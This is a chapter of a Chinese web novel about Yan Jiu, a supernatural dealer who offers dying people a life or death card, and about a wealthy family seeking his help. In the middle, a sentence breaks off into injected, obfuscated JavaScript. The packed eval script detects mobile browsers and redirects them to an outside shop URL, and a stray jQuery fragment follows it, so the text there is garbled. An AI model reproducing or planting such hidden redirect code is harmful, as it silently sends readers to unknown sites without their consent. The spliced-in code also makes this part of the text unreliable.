一开始是一位陌生人先找上他。
当时宴九正在此间夜店端酒,他终于忽悠到一名客人从他这里下了订单,即将有提成入账时,那人打了电话过来:“你好,王九先生。”
宴九忙着打工交学费,一刻都不敢闲下来,电话夹在耳朵和肩膀间,手里还忙着下单,俨然将都市打工人的形象扮演得淋漓尽致:“你好,有事吗?”
“你好,我是贺氏集团贺昌荣董事长的首席秘书高漫,这次是代表贺昌荣董事长邀请您前往贺家公馆见一面,不知明早八点是否有空?”电话那头的人发音清晰,字正腔圆,扑面而来满满的精英感。
宴九忙得不可开交,哪里有空?
毫不客气回复:“不去,没空。”
电话挂断,他继续辛勤工作。
那边的首席秘书高漫不死心,在他下班后还打了一通电话,因为当时宴九正在小金鹤山旁干正事,被蝶仔给挂掉了。
宴九的正事不是别的,而是那晚小金鹤山山体突发倾泻,掩埋了附近公路三辆躲闪不及的汽车,其中一辆是载满了乘客的长途客车。
宴九当时正要下班回家,突然感应到一种强烈的召唤,蝶仔也发出警报,他便调转方向直接往小金鹤山去,刚到就看见遍地苍夷。
此时鹰市已经下了四个多小时的雨,雨水冲刷着地面,影响了人们的视线。
小金鹤山塌了一半,黄土和残破大树成了人们前进的阻碍,宴九来得早,周围只有群众试图救人,但这里太危险了,光靠人力难以跨越黄土。
“半年前也是这个地方,山泥倾泻死了一对夫妻,没想到今天又坍塌了。”
“那时候是鹰市二十年以来的特大暴雨,今晚的雨还不算大。”
“可惜了,希望他们能坚持到救援队赶来。”
救援群众一边谈起半年前那场事故,一边寻找幸存者。
宴九绕过山泥倾泻最严重的地方,往无人处走去,因为那里才有人在召唤他。
他顺着那道指引他找到召唤者的线,终于隔着一段距离看见被侧翻轿车压着的女孩。
女孩浑身脏兮兮的,又是雨水又是山泥,身下还有漆黑的汽油流出,如果没有人发现她,她必然活不下去了。
宴九走到她身边蹲下,雨伞倾斜在女孩身上,为她遮挡猛烈坠落的雨滴,她费劲地睁眼嘴唇颤抖。
同时耳边传来宴九清冷的声音:“女士,您的生命进入倒计时,现在于生命终结之前,一张生牌、一张死牌,选择什么?”
两张不同颜色的卡牌出现在女孩视线里,但比起尚能说话的范瞒,她显然已经失去了选择的能力,瞳孔僵直,四肢冰冷,生命迹象即将消失。
宴九并非第一次遇见召唤者等来了发牌员却因为生命流逝无法选择卡牌的情况,那几次,他一直等到召唤者咽气,大脑死亡,身体冷却僵硬,奇迹都没出现。
于是两张本应该被选择的牌,最终还是回到发牌员手中。
所以,从那时他就知道,有时即便人类心中有巨大的渴望、执念,可在身体已经不允许做选择时,卡牌也救不下这些人,所以每一次等待召唤者选择,都是一种赌博。
等了大约一分钟,女孩依然没有选择。
宴九轻柔地帮她擦去脸上的血和水,继续等待……
良久,生命倒计时即将结束的最后一秒,女孩嘴巴动了动,气若游丝。
宴九将雨伞放在她的身边:“那么,祝您游戏愉快,余湘叶女士。”
白光从即将死亡的身体发出,代表生的卡牌延续女孩的生命,只要她安全从游戏出来,命运即将被改写。
雨越下越大,淋湿宴九的头发,他丝毫不在意徒步回家,鞋子沾了水,却在他一步一步离开时逐渐褪去,水好像滴落在光滑的布料上,顺着轨迹滑落。
不过几分钟,宴九浑身干爽,而他身后沿着刚才行过的轨迹,一道水痕雀跃在地面。
[主人,刚刚那个首席秘书又给你打电话,不过你在工作我就帮你挂掉了,需要回一个吗?]
蝶仔变成的小狸猫摇了摇尾巴,动作轻盈跳上宴九的肩膀,小尾巴圈主宴九的颈部,尾巴尖勾了勾。
“现在是十二点,以人类的生物钟来说,应该睡着了,”言下之意宴九不太想打这个电话,他对蝶仔提了个建议,“但是直接挂掉似乎不太礼貌,不如你写一个程序,以后这种电话可以由人工智能接听。”
蝶仔领了任务,兴致勃勃熬了一夜用猫爪子敲击虚拟键盘,制作出一个专门为人类宴九接电话的AI取名为蝶仔2号。
等宴九睡了一觉醒来,蝶仔2号正式启用,小蝶仔立即邀功。
[我昨天花费了一个晚上,把蝶仔2号制作出来,它可以接电话、拨电话,根据不同的情景回复问题,自动回复退订,而且不会泄露个人隐私,我保证蝶仔2号一定是最杰出的手机AI!]
完全不懂这些东西的宴九星星眼:“蝶仔真厉害。”
下一秒恢复面无表情给自己安排致死量的兼职。
在他疯狂努力赚钱的时候,蝶仔2号正式启动,辛勤工作的2号比肩宴九对兼职的认真态度。
电话A:“你好王九先生,我是贺昌荣董事长的首席秘书高漫,想和您见一面,不知道是否有空?”
蝶仔2号:“在的,你说。”
电话A:“是王九先生吗?今天有空能见一面吗?”
蝶仔2号:“在的,请说是什么事。”
电话A:“……贺昌荣董事长诚挚邀请王九先生到贺家公馆谈一谈。”
蝶仔2号:“哦,是这样的吗?具体谈什么呢?”
电话A:“您是王九先生吗?”
蝶仔2号:“是的,你说。”
电话A:“……打扰了。”
……
无法沟通,无法释怀。
高漫差点被气得要打吊瓶完成工作。
而宴九又完成一天高强度兼职,十分满意睡去,然后第二天晚上在此间夜店端酒的时候看见大夏天穿着风衣的范瞒走进夜店。
与上次在贺家公馆比起来,他脸上和身上的伤都好了,又恢复成一开始的桀骜不驯的模样,不过仔细看便能看出他现在是真的眼里带杀意,手段比以为都强硬和凶狠很多。
一进来此间夜店他踢了一脚门口心不在焉的男侍应生屁股,把人踢懵了就说要找到吴经理。
吴经理听闻这尊疯狗……啊不是,大佛来了,立即出来迎接,两人在外面聊了好一会,宴九余光见到吴经理被范瞒不留力地拍了好几下后背,差点把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12996780|137158||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人吴经理拍出内伤。
看不出啊,范瞒还有几副面孔,对欠债人一副、贺家公馆一副面对吴经理又是一副了。
两人在外面“打情骂俏”好一会儿,总算进了包厢。
不多时,吴经理又出来了,第一件事情就是把自己垫钱订的酒拿出来,然后找到宴九,让他来包厢。
宴九进包厢时,范瞒已经开了一瓶酒,当着宴九的面倒了一杯,他示意宴九坐下,然后把酒推了过去:“特意点的好酒,管够。”
鲜红的酒被他大大咧咧推到面前,先前说好十万一支,他没尝到,现在……
宴九眸子闪了闪,握住酒杯抿了一口,成功被苦到了。
范瞒:“先前在贺家公馆匆匆见一面,还没来得及和你道谢,今天我郑重和你说句谢谢。”
舌头舔了舔上颚,范瞒想起自己在游戏里见到的一切,至今仍觉得毛骨悚然,但又如何?他活下来了。
宴九还是第一次因为发了牌而被感谢,但他并未做什么,只是顺着线,如同闻见世界上最香的食物,他是一只饕餮,无法拒绝就过来,然后……吃下欲望。
思及绝望前的求生欲,宴九喉结滚动,略带回味:“你的欲望很好吃。”
“欲望……”范瞒喝了一大口酒,露出一个阴森的笑容,“那我的欲望可太多了!”
没有人会明白,在绝望之际,在濒临死亡时那种心跳快速跳动的感觉,比得到世界上最珍贵的宝贝还要可怕。
宴九尝过酒,明白自己不喜欢酒的苦味,把酒杯推了回去:“你其余的欲望都不如那天我所见到的强烈。”
他喜欢急剧的渴望,越猛烈越香甜。
范瞒并不介意宴九推酒的举动,要解释为什么的话,大概是,神想要做什么都可以。
他又大口喝了一口酒,然后把酒杯放到桌上:“我范瞒惜命得很,先前的四十万买下一个进入游戏的机会,但现在我想和你交个朋友。”
宴九听了,表情没有一分一毫变化,落在范瞒眼中就是运筹帷幄,心机深不可测的表现。
范瞒手指敲了敲桌面:“作为交朋友的条件,我可以把王建国夫妇的债务取消,当然,在清除债务之前,有两个人想和您见一面。”
宴九抬抬下巴并未拒绝。
于是,包厢大门被推开,吴经理引着一男一女两位中年人进来包厢。
他们均和宴九有过一面之缘,在贺家公馆,作为主人、作为侍应生。
范瞒作为包厢主人,恭敬地请贺氏夫妻坐到主位,他没替二人解释这次前来的目的,只是对宴九说:“我确实为了和你交朋友而来,但他们两位哀求到我头上也实在难以拒绝,毕竟虽然我放贷,但我是好人。”
他话说得又漂亮又假惺惺,把自己摘出去,替包厢结清了账单,临走前凑近贺昌荣耳边:“贺老板啊。”
他伸出了五根手指晃了晃,像在暗示什么。
贺昌荣了然于心,朝范瞒轻点头:“这件事交给了高漫。”
等范瞒离开包厢,贺昌荣夫妇对着宴九立即变脸,情真意切地说道:“请您救救贺初吧,无论你要多少钱!还是贺氏的股份,我们都可以给你!”
[主人待宰的羔羊!]
傻蝶仔掉钱眼里没救了,宴九扶额。